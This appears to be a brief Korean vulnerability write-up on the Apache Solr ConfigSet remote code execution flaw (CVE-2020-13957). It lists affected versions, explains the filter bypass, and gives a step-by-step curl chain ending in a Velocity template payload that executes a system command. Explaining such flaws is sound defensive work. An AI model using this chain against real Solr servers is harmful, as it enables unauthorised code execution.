[하루한줄] CVE-2020-13957: Apache Solr ConfigSet RCE Vulnerability

URL

CVE-2020-13957: Apache Solr ConfigSet RCE Vulnerability

Target

Apache Solr 6.6.0-6.6.5
Apache Solr 7.0.0-7.7.3
Apache Solr 8.0.0-8.6.2

Explain

Apache Solr는 Apache Lucene을 기반으로 만들어진 검색 엔진입니다. 사용자는 특정 형식의 XML 파일을 서버에 업로드하여 인덱스를 생성하거나 검색 요청을 하여 결과를 XML 형식으로 얻을 수 있습니다.

이러한 Solr의 ConfigSet API 에 unauthrization config upload 가 가능해 RCE까지 이어질 수 있는 취약점이 발견되었습니다.

사용자는 ConfigSet API를 사용해 configset을 업로드하고 logical index를 구성하는 컬렉션을 생성할 수 있습니다. 이 때 원격 코드 실행에 악용될 수 있는 일부 기능들을 필터링해 악성 컬렉션이 구성되는 것을 방지합니다. 그러나 configset.upload.enabled 옵션이 true로 설정되어 있으면 이를 UPLOAD 와 CREATE 로 우회할 수 있습니다.

  1. 먼저 악성 configset을 포함하는 압축 파일을 UPLOAD 합니다.

    curl -X POST --header "Content-Type:application/octet-stream"--data-binary@7.zip "http://[host]/solr/admin/configs?action=UPLOAD&name=file1"
  2. CREATE는 기존 configset을 기반으로 새로운 configset을 작성할 수 있습니다. 이를 이용해 UPLOAD된 configset을 기반으로 새로운 configset을 만들면 악용 가능한 기능들을 필터링을 하지 않아 인증 검사 로직을 우회할 수 있습니다.

    curl "http://[host]/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"
  3. 2에서 얻은 새로운 configset를 기반으로 악성 컬렉션을 생성합니다.

    curl "http://[host]/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"
  4. 생성된 악성 컬렉션은 원격 코드 실행에 사용할 수 있습니다.

    http://[host]/solr/newCollection3/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

Reference

https://www.secpulse.com/archives/144081.html

https://issues.apache.org/jira/browse/SOLR-14925